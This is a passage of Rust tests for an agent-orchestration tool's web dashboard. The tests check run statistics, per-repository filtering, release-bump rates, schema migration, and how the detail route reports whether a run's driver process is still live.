20426        let body = &body[..body.find("\n}\n").expect("function end")];
20427        assert!(body.contains("statsBarPlan(rows)"));
20428        assert!(body.contains("statsAgentTone(row.agent)"));
20429        assert!(!body.contains("candTone(i)"));
20430        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20431        for root in [
20432            "stats-agents-bars",
20433            "stats-solo-bars",
20434            "stats-reviewers-bars",
20435        ] {
20436            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20437        }
20438    }
20439
20440    #[test]
20441    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20442        let start = APP_JS
20443            .find("function renderStatsReviewerScatter(")
20444            .expect("renderStatsReviewerScatter exists");
20445        let body = &APP_JS[start..];
20446        let body = &body[..body.find("\n}\n").expect("function end")];
20447        assert!(body.contains("statsScatterPlan(reviewers)"));
20448        assert!(body.contains("statsAgentTone(d.agent)"));
20449        assert!(APP_JS.contains("function statsScatterPlan("));
20450        assert!(
20451            APP_JS.contains("d.submitted < STATS_LOW_N")
20452                || APP_JS.contains("r.submitted < STATS_LOW_N")
20453        );
20454        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
20455        assert!(APP_CSS.contains(".precision-scatter"));
20456    }
20457
20458    #[test]
20459    fn advisor_reflection_is_drawn_as_stacked_segments() {
20460        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20461        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20462        let html = include_str!("../assets/ui/index.html");
20463        assert!(html.contains("Approximate"));
20464        for label in ["reflected strongly", "faint", "no proposal"] {
20465            assert!(html.contains(label));
20466        }
20467        let css = include_str!("../assets/ui/app.css");
20468        for c in ["refl-strong", "refl-faint", "refl-absent"] {
20469            assert!(css.contains(&format!(".{c} {{")));
20470        }
20471    }
20472
20473    #[test]
20474    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20475        assert!(APP_JS.contains("function statsDailyPlan("));
20476        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20477        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20478    }
20479
20480    #[test]
20481    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20482        let start = APP_JS
20483            .find("function scheduleSearch(")
20484            .expect("scheduleSearch exists");
20485        let body = &APP_JS[start..];
20486        let body = &body[..body.find("\n}\n").expect("function end")];
20487        assert!(body.contains("s.seq += 1"));
20488    }
20489
20490    /// The dashboard reads every run's state itself rather than trusting a
20491    /// separately-maintained count, so an unreadable run must be counted the
20492    /// same way `/api/health` counts it - never silently dropped the way the
20493    /// CLI's own `stats::load_all` drops it.
20494    #[tokio::test]
20495    async fn stats_runs_unreadable_matches_health() {
20496        let f = Fixture::start().await;
20497        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20498        let broken = f.runs().join("20260902-140502-bad");
20499        std::fs::create_dir_all(&broken).expect("run dir");
20500        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20501
20502        let stats = f.get("/api/stats").await;
20503        let health = f.get("/api/health").await;
20504
20505        assert_eq!(stats.status, 200);
20506        assert_eq!(stats.json()["totals"]["runs"], 1);
20507        assert_eq!(stats.json()["runs_unreadable"], 1);
20508        assert_eq!(
20509            stats.json()["runs_unreadable"],
20510            health.json()["runs_unreadable"],
20511            "the dashboard and /api/health must never disagree about how many \
20512             runs could not be read"
20513        );
20514    }
20515
20516    #[tokio::test]
20517    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
20518        let f = Fixture::start().await;
20519        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20520        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20521        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20522
20523        let totals = &f.get("/api/stats").await.json()["totals"];
20524        assert_eq!(totals["runs"], 3);
20525        assert_eq!(totals["merged"], 1);
20526        assert_eq!(totals["stalled"], 1);
20527        assert_eq!(totals["in_progress"], 1);
20528        // A stalled run must never read as blocked/merged/ready - it is its
20529        // own bucket, not folded into a "decided" one.
20530        assert_eq!(totals["blocked"], 0);
20531        assert_eq!(totals["ready"], 0);
20532    }
20533
20534    #[tokio::test]
20535    async fn stats_advisors_report_proposals_and_reflection() {
20536        use crate::advise::{Advice, AdvisorRecord, Reflection};
20537        use crate::verdict::Proposal;
20538
20539        let f = Fixture::start().await;
20540        let mut state = RunState::new(
20541            PathBuf::from("/repo/magi"),
20542            "main".to_owned(),
20543            "0123456789abcdef".to_owned(),
20544            "task".to_owned(),
20545            Config::default(),
20546        );
20547        state.id = "20260902-140501-a".to_owned();
20548        state.status = RunStatus::Merged;
20549        state.advice = Some(Advice {
20550            records: vec![
20551                AdvisorRecord {
20552                    seat: "advisor-1".to_owned(),
20553                    agent: "alpha".to_owned(),
20554                    proposal: Some(Proposal {
20555                        approach: "do it".to_owned(),
20556                        key_tradeoff: "speed over memory".to_owned(),
20557                        risks: Vec::new(),
20558                        touches: Vec::new(),
20559                        why_not_naive: "breaks under load".to_owned(),
20560                    }),
20561                    error: None,
20562                    duration_ms: 0,
20563                    reflection: Reflection::Strong,
20564                },
20565                AdvisorRecord {
20566                    seat: "advisor-2".to_owned(),
20567                    agent: "alpha".to_owned(),
20568                    proposal: None,
20569                    error: Some("timed out".to_owned()),
20570                    duration_ms: 0,
20571                    reflection: Reflection::Absent,
20572                },
20573            ],
20574            synthesis: Some("blended brief".to_owned()),
20575        });
20576        let dir = f.runs().join(&state.id);
20577        std::fs::create_dir_all(&dir).expect("run dir");
20578        std::fs::write(
20579            dir.join("run.json"),
20580            serde_json::to_string_pretty(&state).expect("serialize run"),
20581        )
20582        .expect("write run.json");
20583
20584        // `alpha` is in no roster here; this test is about the rates.
20585        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20586        let alpha = advisors
20587            .as_array()
20588            .expect("an array")
20589            .iter()
20590            .find(|a| a["agent"] == "alpha")
20591            .expect("alpha row");
20592        assert_eq!(alpha["seated"], 2);
20593        assert_eq!(alpha["proposed"], 1);
20594        assert_eq!(alpha["absent"], 1);
20595        assert_eq!(alpha["strong"], 1);
20596        assert_eq!(alpha["faint"], 0);
20597        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20598    }
20599
20600    #[tokio::test]
20601    async fn stats_hides_agents_outside_the_roster_unless_all() {
20602        use crate::run::Candidate;
20603        let repo = TempDir::new().expect("repo dir");
20604        std::fs::write(
20605            repo.path().join("magi.toml"),
20606            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20607        )
20608        .expect("magi.toml");
20609        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20610        let mut state = RunState::new(
20611            PathBuf::from("/repo/magi"),
20612            "main".to_owned(),
20613            "0123456789abcdef".to_owned(),
20614            "task".to_owned(),
20615            Config::default(),
20616        );
20617        state.id = "20260902-140501-a".to_owned();
20618        state.status = RunStatus::Merged;
20619        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20620            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20621                "index": 0, "label": label.to_string(), "agent": agent,
20622                "branch": "b", "worktree": "/w",
20623            }))
20624            .expect("candidate");
20625            c.label = label;
20626            state.candidates.push(c);
20627        }
20628        let dir = f.runs().join(&state.id);
20629        std::fs::create_dir_all(&dir).expect("run dir");
20630        std::fs::write(
20631            dir.join("run.json"),
20632            serde_json::to_string_pretty(&state).expect("serialize run"),
20633        )
20634        .expect("write run.json");
20635
20636        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20637            v["agents"]
20638                .as_array()
20639                .expect("array")
20640                .iter()
20641                .map(|a| a["agent"].as_str().unwrap().to_owned())
20642                .collect()
20643        };
20644        let hidden = f.get("/api/stats").await.json();
20645        assert_eq!(agents_of(&hidden), ["keep"]);
20646        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20647        assert_eq!(hidden["totals"]["runs"], 1);
20648
20649        let all = f.get("/api/stats?all=true").await.json();
20650        assert_eq!(agents_of(&all).len(), 2);
20651        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20652        // Verify competitive and solo keys exist on agent entries
20653        let keep_agent = all["agents"]
20654            .as_array()
20655            .unwrap()
20656            .iter()
20657            .find(|a| a["agent"] == "keep")
20658            .unwrap();
20659        assert_eq!(keep_agent["competitive_entered"], 1);
20660        assert_eq!(keep_agent["competitive_wins"], 0);
20661        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20662        assert_eq!(keep_agent["solo_entered"], 0);
20663        assert_eq!(keep_agent["solo_adopted"], 0);
20664        assert!(keep_agent["solo_adoption_rate"].is_null());
20665    }
20666
20667    #[tokio::test]
20668    async fn stats_release_bumps_split_clean_from_attention() {
20669        use crate::run::ReleaseBump;
20670
20671        let f = Fixture::start().await;
20672
20673        let mut clean = RunState::new(
20674            PathBuf::from("/repo/magi"),
20675            "main".to_owned(),
20676            "0123456789abcdef".to_owned(),
20677            "task".to_owned(),
20678            Config::default(),
20679        );
20680        clean.id = "20260902-140501-a".to_owned();
20681        clean.status = RunStatus::Merged;
20682        clean.release_bump = Some(ReleaseBump {
20683            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20684            version: Some("1.0.0".to_owned()),
20685            automerge_enabled: true,
20686            merged_directly: false,
20687            local: false,
20688            release: None,
20689            problem: None,
20690            action_required: None,
20691            skipped: None,
20692        });
20693
20694        let mut blocked = RunState::new(
20695            PathBuf::from("/repo/magi"),
20696            "main".to_owned(),
20697            "0123456789abcdef".to_owned(),
20698            "task".to_owned(),
20699            Config::default(),
20700        );
20701        blocked.id = "20260902-140502-b".to_owned();
20702        blocked.status = RunStatus::Merged;
20703        blocked.release_bump = Some(ReleaseBump {
20704            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20705            version: Some("1.0.1".to_owned()),
20706            automerge_enabled: false,
20707            merged_directly: false,
20708            local: false,
20709            release: None,
20710            problem: Some("checks red".to_owned()),
20711            action_required: Some("look at the PR".to_owned()),
20712            skipped: None,
20713        });
20714
20715        for state in [&clean, &blocked] {
20716            let dir = f.runs().join(&state.id);
20717            std::fs::create_dir_all(&dir).expect("run dir");
20718            std::fs::write(
20719                dir.join("run.json"),
20720                serde_json::to_string_pretty(state).expect("serialize run"),
20721            )
20722            .expect("write run.json");
20723        }
20724
20725        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20726        assert_eq!(bumps["merged"], 2);
20727        assert_eq!(bumps["recorded"], 2);
20728        assert_eq!(bumps["pr_opened"], 2);
20729        assert_eq!(bumps["automerge_enabled"], 1);
20730        assert_eq!(bumps["needs_attention"], 1);
20731        assert_eq!(bumps["clean"], 1);
20732        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20733        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20734    }
20735
20736    #[tokio::test]
20737    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20738        let f = Fixture::start().await;
20739        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20740
20741        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20742        assert_eq!(bumps["merged"], 1);
20743        assert_eq!(bumps["recorded"], 0);
20744        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20745        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20746        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20747        // `pr_opened` and `recorded` are both zero here, so these rates have
20748        // no denominator to compute from and must be null.
20749        assert_eq!(bumps["automerge_rate"], Value::Null);
20750        assert_eq!(bumps["attention_rate"], Value::Null);
20751    }
20752
20753    #[tokio::test]
20754    async fn stats_queue_counts_come_from_the_live_queue() {
20755        let f = Fixture::start().await;
20756        let q = f.queue();
20757        let mut queued = Task::new(
20758            "queued task".to_owned(),
20759            "do it".to_owned(),
20760            PathBuf::from("/repo"),
20761            Source::Human,
20762        );
20763        q.put(&mut queued).expect("put queued");
20764        let mut held = Task::new(
20765            "held task".to_owned(),
20766            "do it later".to_owned(),
20767            PathBuf::from("/repo"),
20768            Source::Human,
20769        );
20770        held.hold_machine(Some("out of attempts".to_owned()));
20771        q.put(&mut held).expect("put held");
20772
20773        let queue = f.get("/api/stats").await.json()["queue"].clone();
20774        assert_eq!(queue["queued"], 1);
20775        assert_eq!(queue["held"], 1);
20776        assert_eq!(queue["running"], 0);
20777        assert_eq!(queue["done"], 0);
20778        assert_eq!(queue["failed"], 0);
20779        assert_eq!(queue["blocked"], 0);
20780    }
20781
20782    #[tokio::test]
20783    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20784        let f = Fixture::start().await;
20785        let stats = f.get("/api/stats").await;
20786        assert_eq!(stats.status, 200);
20787        assert_eq!(stats.json()["totals"]["runs"], 0);
20788        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20789        assert_eq!(stats.json()["runs_unreadable"], 0);
20790        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20791        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20792        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20793        assert_eq!(stats.json()["repo"], Value::Null);
20794    }
20795
20796    #[tokio::test]
20797    async fn stats_lists_every_repository_with_runs_recorded() {
20798        let f = Fixture::start().await;
20799        write_run_repo(
20800            &f.runs(),
20801            "20260902-140501-a",
20802            RunStatus::Merged,
20803            "/repos/a",
20804        );
20805        write_run_repo(
20806            &f.runs(),
20807            "20260902-140502-b",
20808            RunStatus::Merged,
20809            "/repos/a",
20810        );
20811        write_run_repo(
20812            &f.runs(),
20813            "20260902-140503-c",
20814            RunStatus::Blocked,
20815            "/repos/b",
20816        );
20817
20818        let stats = f.get("/api/stats").await;
20819        assert_eq!(stats.status, 200);
20820        // Unfiltered - the aggregate across both repositories.
20821        assert_eq!(stats.json()["totals"]["runs"], 3);
20822        assert_eq!(stats.json()["repo"], Value::Null);
20823
20824        let repos = stats.json()["repos"].clone();
20825        let repos = repos.as_array().unwrap();
20826        assert_eq!(repos.len(), 2);
20827        // Busiest (2 runs) first.
20828        assert_eq!(repos[0]["repo"], "/repos/a");
20829        assert_eq!(repos[0]["name"], "a");
20830        assert_eq!(repos[0]["runs"], 2);
20831        assert_eq!(repos[1]["repo"], "/repos/b");
20832        assert_eq!(repos[1]["runs"], 1);
20833    }
20834
20835    #[tokio::test]
20836    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20837        let f = Fixture::start().await;
20838        write_run_repo(
20839            &f.runs(),
20840            "20260902-140501-a",
20841            RunStatus::Merged,
20842            "/repos/a",
20843        );
20844        write_run_repo(
20845            &f.runs(),
20846            "20260902-140502-b",
20847            RunStatus::Blocked,
20848            "/repos/b",
20849        );
20850
20851        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20852        assert_eq!(stats.status, 200);
20853        assert_eq!(stats.json()["totals"]["runs"], 1);
20854        assert_eq!(stats.json()["totals"]["merged"], 1);
20855        assert_eq!(stats.json()["repo"], "/repos/a");
20856        // The repository list itself is unaffected by the filter - it is
20857        // what a client switches repositories from.
20858        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20859        // runs_unreadable is a whole-workload count, never scoped to the
20860        // selected repository - see StatsView::runs_unreadable's own doc.
20861        assert_eq!(stats.json()["runs_unreadable"], 0);
20862    }
20863
20864    #[tokio::test]
20865    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20866        let f = Fixture::start().await;
20867        write_run_repo(
20868            &f.runs(),
20869            "20260902-140501-a",
20870            RunStatus::Merged,
20871            "/repos/a",
20872        );
20873        write_run_repo(
20874            &f.runs(),
20875            "20260902-140502-b",
20876            RunStatus::Merged,
20877            "/repos/b",
20878        );
20879
20880        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20881            let json = f.get(uri).await.json();
20882            let daily = json["daily"].as_array().expect("daily is an array");
20883            assert_eq!(daily.len(), 30);
20884            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20885            let mut sorted = dates.clone();
20886            sorted.sort();
20887            assert_eq!(dates, sorted);
20888            for d in daily {
20889                assert_eq!(
20890                    d["merged"].as_u64().unwrap()
20891                        + d["ready"].as_u64().unwrap()
20892                        + d["other"].as_u64().unwrap(),
20893                    d["runs"].as_u64().unwrap()
20894                );
20895            }
20896            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20897        }
20898    }
20899
20900    #[tokio::test]
20901    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20902        let f = Fixture::start().await;
20903        write_run_repo(
20904            &f.runs(),
20905            "20260902-140501-a",
20906            RunStatus::Merged,
20907            "/repos/a",
20908        );
20909
20910        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20911        assert_eq!(stats.status, 404);
20912    }
20913
20914    #[tokio::test]
20915    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20916        let f = Fixture::start().await;
20917        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20918
20919        let summary = f.get("/api/runs").await.json();
20920        let row = &summary[0];
20921        assert_eq!(row["short"], "a1b2");
20922        assert_eq!(row["status"], "ready");
20923        assert_eq!(row["done"], true);
20924        assert_eq!(row["title"], "Add a web UI");
20925        assert_eq!(row["repo_name"], "magi");
20926        assert_eq!(row["judges"], 3);
20927        assert_eq!(row["winner"], Value::Null);
20928        assert_eq!(row["reviews"], 0);
20929
20930        // The short id resolves, and the detail route is the state itself, not
20931        // a projection of it: the UI reads fields the summary does not carry.
20932        let detail = f.get("/api/runs/a1b2").await;
20933        assert_eq!(detail.status, 200);
20934        assert_eq!(detail.json()["base_branch"], "main");
20935        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20936    }
20937
20938    /// `status: "ready"` alone cannot tell a run still headed for a landing
20939    /// (a PR closed without merging, say) apart from one `[merge] mode =
20940    /// "none"` left unmerged for good — the confusion the operator flagged
20941    /// after the CLI report already grew a `not landed — nothing to do by
20942    /// design` line for exactly this case (`report.rs`). Both the list route
20943    /// and the detail route must carry a flag the phone can key on instead of
20944    /// re-deriving it from `status` + `merge.mode` itself.
20945    #[tokio::test]
20946    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20947        let f = Fixture::start().await;
20948
20949        let mut none_run = RunState::new(
20950            PathBuf::from("/repo/magi"),
20951            "main".to_owned(),
20952            "0123456789abcdef".to_owned(),
20953            "Add a web UI".to_owned(),
20954            Config::default(),
20955        );
20956        none_run.id = "20260902-140503-none".to_owned();
20957        none_run.status = RunStatus::Ready;
20958        none_run.merge = Some(crate::run::MergeOutcome {
20959            mode: crate::config::MergeMode::None,
20960            ok: true,
20961            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20962            empty: false,
20963        });
20964        write_state(&f.runs(), &none_run);
20965
20966        let mut pr_run = RunState::new(
20967            PathBuf::from("/repo/magi"),
20968            "main".to_owned(),
20969            "0123456789abcdef".to_owned(),
20970            "Add a web UI".to_owned(),
20971            Config::default(),
20972        );
20973        pr_run.id = "20260902-140504-prcl".to_owned();
20974        pr_run.status = RunStatus::Ready;
20975        pr_run.merge = Some(crate::run::MergeOutcome {
20976            mode: crate::config::MergeMode::Pr,
20977            ok: false,
20978            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20979            empty: false,
20980        });
20981        write_state(&f.runs(), &pr_run);
20982
20983        let summary = f.get("/api/runs").await.json();
20984        let rows: std::collections::HashMap<&str, &Value> = summary
20985            .as_array()
20986            .expect("an array")
20987            .iter()
20988            .map(|r| (r["id"].as_str().expect("an id"), r))
20989            .collect();
20990        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20991        assert_eq!(
20992            rows[none_run.id.as_str()]["unmerged_by_design"],
20993            true,
20994            "a mode-none Ready must be flagged in the list"
20995        );
20996        assert_eq!(
20997            rows[pr_run.id.as_str()]["unmerged_by_design"],
20998            false,
20999            "a Ready reached by a closed pull request is a different case"
21000        );
21001
21002        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
21003        assert_eq!(none_detail["status"], "ready");
21004        assert_eq!(none_detail["unmerged_by_design"], true);
21005
21006        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
21007        assert_eq!(pr_detail["unmerged_by_design"], false);
21008    }
21009
21010    /// `RunState::active` is only ever cleared by whoever populated it, so the
21011    /// detail route also has to say whether a daemon is actually still
21012    /// driving this run right now — otherwise a seat from a killed process's
21013    /// last wave would read as live forever.
21014    #[tokio::test]
21015    async fn run_core_survives_unavailable_related_stores() {
21016        let home = TempDir::new().unwrap();
21017        let ui = delta_test_ui(home.path());
21018        let state = RunState::new(
21019            PathBuf::from("/repo/magi"),
21020            "main".into(),
21021            "0123456789abcdef".into(),
21022            "Useful core instructions".into(),
21023            Config::default(),
21024        );
21025        let dir = ui.runs.join(&state.id);
21026        std::fs::create_dir_all(&dir).unwrap();
21027        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
21028        std::fs::write(ui.questions.root(), "unavailable").unwrap();
21029        std::fs::write(ui.queue.root(), "unavailable").unwrap();
21030        let core = run_core(State(ui.clone()), Path(state.id.clone()))
21031            .await
21032            .unwrap()
21033            .0;
21034        assert_eq!(core.state.instruction, state.instruction);
21035        assert_eq!(core.state.updated_at, state.updated_at);
21036        assert!(core.task.is_none());
21037        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
21038    }
21039
21040    #[tokio::test]
21041    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
21042        let f = Fixture::start().await;
21043        // Matches `write_daemon`'s hard-coded `current.run`, so the second
21044        // half of this test can claim the daemon is working on it without a
21045        // second helper.
21046        let id = "20260902-140502-bbbb";
21047        let mut state = RunState::new(
21048            PathBuf::from("/repo/magi"),
21049            "main".to_owned(),
21050            "0123456789abcdef".to_owned(),
21051            "Add a web UI".to_owned(),
21052            Config::default(),
21053        );
21054        state.id = id.to_owned();
21055        state.status = RunStatus::Judging;
21056        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
21057        let dir = f.runs().join(id);
21058        std::fs::create_dir_all(&dir).expect("run dir");
21059        std::fs::write(
21060            dir.join("run.json"),
21061            serde_json::to_string_pretty(&state).expect("serialize run"),
21062        )
21063        .expect("write run.json");
21064
21065        // No daemon.json at all, and no `driver_pid` recorded either (this
21066        // state was written directly, never through `execute()`): there is
21067        // nothing to confirm either way, so the route must say `"unknown"` —
21068        // never `"dead"`, which is exactly the false diagnosis a manual `magi
21069        // run` used to get from this route before `driver_pid` existed.
21070        let cold = f.get(&format!("/api/runs/{id}")).await.json();
21071        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
21072        assert_eq!(cold["live"], "unknown", "{cold}");
21073
21074        // A fresh heartbeat naming exactly this run: the same entry now reads
21075        // as confirmed, not merely recorded.
21076        write_daemon(f.home.path(), Timestamp::now());
21077        let warm = f.get(&format!("/api/runs/{id}")).await.json();
21078        assert_eq!(warm["live"], "live", "{warm}");
21079    }
21080
21081    #[test]
21082    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
21083        let home = tempfile::tempdir().expect("temp home");
21084        let runs = home.path().join("runs");
21085        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
21086            let mut state = RunState::new(
21087                PathBuf::from("/repo/magi"),
21088                "main".to_owned(),
21089                "0123456789abcdef".to_owned(),
21090                "Generated review context, not authored task criteria".to_owned(),
21091                Config::default(),
21092            );
21093            state.origin = origin;
21094            state.status = RunStatus::Blocked;
21095            // Earlier migrations must not infer these facts again.
21096            state.driver_exited = false;
21097            state.gate_ran = true;
21098            let expected = serde_json::to_value(&state).expect("serialize current state");
21099            let mut legacy = expected.clone();
21100            legacy["schema"] = serde_json::json!(13);
21101            legacy.as_object_mut().unwrap().remove("task_instruction");
21102            let dir = runs.join(&state.id);
21103            std::fs::create_dir_all(&dir).expect("run dir");
21104            let path = dir.join("run.json");
21105            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
21106            std::fs::write(&path, &body).expect("write legacy run");
21107
21108            for loaded in [
21109                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
21110                read_run(&runs, &state.id).expect("web migration"),
21111            ] {
21112                assert_eq!(loaded.schema, crate::run::SCHEMA);
21113                assert!(loaded.task_instruction.is_none());
21114                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
21115            }
21116            assert_eq!(runs_unreadable(&runs), 0);
21117            assert_eq!(std::fs::read(&path).unwrap(), body);
21118        }
21119    }
21120
21121    /// Where a run came from is shown, and a run written before origins were
21122    /// recorded (schema 12, no `origin` key) stays readable and says so.
21123    #[tokio::test]
21124    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
21125        let f = Fixture::start().await;
21126        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
21127            let mut state = RunState::new(
21128                PathBuf::from("/repo/magi"),
21129                "main".to_owned(),
21130                "0123456789abcdef".to_owned(),
21131                "Add a web UI".to_owned(),
21132                Config::default(),
21133            );
21134            state.id = id.to_owned();
21135            state.origin = origin;
21136            let mut value = serde_json::to_value(&state).expect("serialize run");
21137            if let Some(schema) = schema {
21138                value["schema"] = serde_json::json!(schema);
21139                value.as_object_mut().unwrap().remove("origin");
21140            }
21141            let dir = f.runs().join(id);
21142            std::fs::create_dir_all(&dir).expect("run dir");
21143            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
21144        };
21145        write(
21146            "20260930-092817-ec34",
21147            Some(crate::run::Origin::from_agent_env(
21148                Some(("4a7b".to_owned(), "chat".to_owned())),
21149                None,
21150            )),
21151            None,
21152        );
21153        write("20260930-092817-0ld1", None, Some(12));
21154
21155        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
21156        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
21157        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
21158
21159        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
21160        assert_eq!(
21161            old["origin_label"], "origin unknown (started before origins were recorded)",
21162            "{old}"
21163        );
21164        assert!(old["origin"].is_null(), "{old}");
21165
21166        let list = f.get("/api/runs").await.json();
21167        let labels: Vec<_> = list
21168            .as_array()
21169            .unwrap()
21170            .iter()
21171            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
21172            .collect();
21173        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
21174    }
21175
21176    #[tokio::test]
21177    async fn run_progress_observation_exposes_activity_without_control_evidence() {
21178        let f = Fixture::start().await;
21179        let mut state = RunState::new(
21180            PathBuf::from("/repo"),
21181            "main".into(),
21182            "abc".into(),
21183            "task".into(),
21184            Config::default(),
21185        );
21186        state.status = RunStatus::Implementing;
21187        state.seat_started(
21188            "implement",
21189            "implement-A",
21190            std::time::Duration::from_secs(60),
21191            0,
21192        );
21193        state.save_under(f.home.path()).unwrap();
21194        let observed = f
21195            .get(&format!("/api/runs/{}/progress", state.id))
21196            .await
21197            .json();
21198        assert_eq!(observed["id"], state.id);
21199        assert!(observed["observed_at"].is_string());
21200        assert_eq!(observed["updated_at"], state.updated_at.to_string());
21201        assert!(observed["progress"]["activity"].is_string());
21202        for field in [
21203            "config",
21204            "candidates",
21205            "land_approval",
21206            "task",
21207            "waiting",
21208            "done",
21209        ] {
21210            assert!(
21211                observed.get(field).is_none(),
21212                "progress must not expose control evidence: {field}"
21213            );
21214        }
21215    }
21216
21217    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
21218    /// review` claims no daemon at all, so before this field existed the
21219    /// route above read it as `"dead"` — indistinguishable from a run a
21220    /// killed process abandoned — the whole time it was genuinely still
21221    /// answering. With a live pid recorded, it must read `"live"` even
21222    /// though no daemon claims it.
21223    #[tokio::test]
21224    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
21225        let f = Fixture::start().await;
21226        let id = "20260922-090000-cccc";
21227        let mut state = RunState::new(
21228            PathBuf::from("/repo/magi"),
21229            "main".to_owned(),
21230            "0123456789abcdef".to_owned(),
21231            "Review only".to_owned(),
21232            Config::default(),
21233        );
21234        state.id = id.to_owned();
21235        state.status = RunStatus::Reviewing;
21236        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21237        // This test process's own pid: guaranteed alive, and never needs a
21238        // real daemon or a second process to prove it. The matching start-time
21239        // marker is what `liveness` now requires alongside a live pid — see
21240        // `RunState::driver_started_at`'s own doc for why the pid alone is
21241        // not enough.
21242        state.driver_pid = Some(std::process::id());
21243        state.driver_started_at = Some(
21244            crate::proc::process_started_at(std::process::id())
21245                .expect("this test process's own start time must be queryable"),
21246        );
21247        let dir = f.runs().join(id);
21248        std::fs::create_dir_all(&dir).expect("run dir");
21249        std::fs::write(
21250            dir.join("run.json"),
21251            serde_json::to_string_pretty(&state).expect("serialize run"),
21252        )
21253        .expect("write run.json");
21254
21255        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21256        assert_eq!(detail["live"], "live", "{detail}");
21257    }
21258
21259    /// A killed manual run's pid can be handed to a wholly unrelated later
21260    /// process — a live query on `driver_pid` alone would read this as
21261    /// `"live"`, exactly the false positive `driver_started_at` exists to
21262    /// catch (see that field's own doc, and `RunState::liveness_with`'s
21263    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
21264    #[tokio::test]
21265    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
21266        let f = Fixture::start().await;
21267        let id = "20260922-090100-dddd";
21268        let mut state = RunState::new(
21269            PathBuf::from("/repo/magi"),
21270            "main".to_owned(),
21271            "0123456789abcdef".to_owned(),
21272            "Review only".to_owned(),
21273            Config::default(),
21274        );
